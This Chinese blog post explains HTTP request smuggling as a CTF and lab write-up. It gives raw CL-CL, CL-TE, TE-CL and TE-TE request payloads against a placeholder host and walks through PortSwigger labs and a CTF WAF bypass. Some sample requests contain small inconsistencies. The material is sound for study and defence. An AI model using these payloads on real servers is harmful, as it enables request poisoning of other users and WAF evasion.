个人对HTTP请求走私的理解

释放双眼,带上耳机,听听看~!
HTTP请求走私

简介

初识HTTP请求走私是在  [RoarCTF 2019]Easy Calc 这道题中遇到,此题两种绕过waf的方法,其中一个就是请求走私。

那什么是HTTP请求走私?

HTTP请求走私产生原理

HTTP /1.1开始,我们有两种传数据的方法,一般来说都是

那什么是keepalive

首先,我们知道,访问一个网页往往有很多的请求,包括图片、js等等,那如果每次的请求都开启一个TCP的连接,会有很大的浪费,这个时候,http的keepalive出现了,他允许一个TCP中存在多个HTTP请求,当我请求1发送完毕时,TCP不会关闭,此时它会等待下一个请求,这个方法也叫TCP的复用(重载)。

它的机制是:请求1->响应1->请求2->响应2…

我们可以发现,如果多个请求发送时需要等上一个响应结束才能开始自己的请求,这个时候出现了pipeline

pipeline

它可以:

请求1->请求2->响应1->响应2

提高了数据传输的效率

ngnix服务器中会有个buffer(缓冲区),它将所有请求放入其中,然后以队列的形式进行解析响应,请求1的数据读完后进行响应,然后继续读下一个请求。虽然现在请求中很少见到这种请求方式,但是服务器是默认解析的,如果代理服务器和源服务器之间对HTTP解析规则不一样,不遵守RFC7230中的规定,请求走私也就从这里开始。

解析规则:

  1. Content-Length:post这个length就有多长,如果是这种解析,那么他读到那个长度就停了,师傅们抓包应该是见过了,当然不包括请求头和数据体间隔的那一行,我们也可以把bp的自动更新CL的关了(选项卡里面的repeat)方便后续操作

Transfer-Encoding:

  • 0\r\n
    \r\n   \r\n是换行的意思,windows的换行是\r\n,unix的是\n,mac的是\r

间距有些大,第一次写,师傅们见谅。当服务器如果是采用Transfer_Encoding:Trunk,那么读到这里就会停了,我们发包可以直接0回车,回车,十六进制查看时有0a就行

从利用方式中进一步理解

首先,一定要保证第一个请求中是包含第二个请求的

分五种类型:

  • CL不为0的情况

这里用GET请求举例(并不是说只有接收POST的才行,只要能接收请求携带的请求体就ok)。前端代理服务器允许GET请求携带请求体;后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

构造请求示例:

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 47\r\n
 
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n

代理服务器认为它是一个请求,然后请求体就是下面那些东西。但是到了源服务器,变为了两个请求

请求1

GET / HTTP/1.1\r\n
Host: test.com\r\n

请求2

GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n

第一次发包是把所有的东西发过去了,响应的是请求1,当我们再次去发包的时候,缓冲区的请求2被响应出来。后面就不构造请求了,有点麻烦。

  • CL-CL型
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
Content-Length: 6\r\n

asdf\r\n
a

第一个服务器解析第一个CL,请求为

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
 
asdf\r\n
a

于是传递到第二个服务器,服务器解析第二个CL,这个时候,缓冲区的请求变为

请求一:

GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 7\r\n
 
asdf\r\n

请求二:

a

当用户在此发起请求时,例如POST

aPOST / HTTP/1.1\r\n
Host: test.com\r\n

这个时候就完成了一种投毒。

存在一个疑问:为什么除了自己、其他用户去访问它,也会出现403报错?

答:因为我们知道,我们访问源服务器其实中间过了个代理服务器,所有用户的请求都是先到代理服务器,代理服务器来转发,所以代理服务器和源服务器之间是一条TCP,而不是一个用户对应一条TCP,所以这种方法就可以影响服务器的正常运行

  • CL-TE

前端服务器接受CL的解析,而后端遵守了RFC7230中的规定,如果有TE和CL那么要用TE覆盖,并且停止转发到下游,立刻停止连接,这个时候已经来不及了,没啥下游了。所以后端就是读TE

在POST的数据包里构造恶意的请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n

0\r\n
\r\n
a

代理服务器的解析视角,如上

源服务器的解析

请求1

POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n

0\r\n
\r\n

请求2

a //a在缓冲区里面等待下一个请求
  1. TE-CL

前端解析TE,后端又解析CL

POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n

abcde
0\r\n
\r\n

源服务器视角

请求1

POST / HTTP/1.1\r\n
Host: test.com\r\n
Connection: keep-alive\r\n
Content-Length: 4\r\n

abcd

请求2

e
  • TE-TE

这里前后端都会处理TE(符合了RFC7230的做法但是没有终止),所以要混淆服务器,让其中一个无法用TE去解析。这个时候又变成了TE-Cl或者CL-TE类型的了

有小伙伴会问:md,不是读到0\r\n \r\n 就结束了嘛,为啥会出现两个TE(第一次写文章,写了差不多两个多小时了,要接近结尾的硝基苯开始放飞自我了)只要让服务器只能解析一个就好了,另外一个不能解析的就随便写

Transfer-encoding: 123123123\r\n

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: 123132123\r\n

5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n

x=1\r\n
0\r\n
\r\n

前端解析TE,接受的请求

POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-Encoding: 123132123\r\n

5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 16\r\n

x=1\r\n
0\r\n
\r\nn

后端的视角

请求1

POST / HTTP/1.\r\n
Host: test.com\r\n
Content-length: 4\r\n
Transfer-Encoding: 123132123\r\n

5c\r\n

请求2

aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 16\r\n

x=1\r\n
0\r\n
\r\n

那请求2由于没有apost这个方法,就会返回403.

再通过题目来体会最后一波

CL-TE

https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

两个TE被拒绝

可以看到时403的响应

现在改成

Content-Length: 6
Transfer-Encoding:chunked
 
0
 
A







第一次请求的回显

第一个请求过去返回正常,但是A相当于存在在了缓冲区里,再次访问时

第二次请求的回显

再访问正常,因为缓冲区里面已经干净了。

那么我们构造两个请求达成一些目的呢?

第一次回显肯定是正常的,因为传的参数啥都没干,第二次请求,就把数据包里面的请求带出来了,也不会有什么变化,第三次,留的a和请求粘在一起,报错。我们第二次那个请求不就可以放一些含有payload的请求了吗?因为代理服务器那关我们已经过去了,下面就是干

下一题

 

te-cl

我们这里构造的走私是去访问rookie,已知rookie不存在

构造的请求包
第一次回显,因为同时存在而返回403

第一次正常回显,再次访问时,缓冲区还有POST这个请求,就先执行了这个去rookie的请求

第二次访问回显可以看到的确是404

再次访问

第三次访问

我怀疑是因为读到了

0\r\n

\r\n

后,0留在了里面,所以当我们访问的时候POST就接到了这里

 

如果改成get

返回400

 最后发现两个请求必须要一致,不然就会像这样。如果有师傅知道原因,还望指点。

再点个题

那道easy calc的题

直接说原因了,因为waf接受POST又接收GET,所以可以携带请求体,但是又有两个CL,根据规定,回显了个400,无法正常解析,但是还是把数据包发了过去,源服务器它接收get的num,所以上面是?num=phpinfo();

最后,教大家怎么数CL

把请求体放到word里面,左下角

点三个字那里

字符数(计空格)

OK了

如果有不对的地方,还望师傅们斧正

本文章参考:

https://datatracker.ietf.org/doc/rfc7230/?include_text=1

https://blog.csdn.net/a3320315/article/details/102937797

WEB安全安全独秀圈

vulnhub-Infosec_Warrior1

2020-4-28 21:41:09

WEB安全安全独秀圈漏洞质量好文

Python打造自己的ddos工具

2020-4-29 15:22:27

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索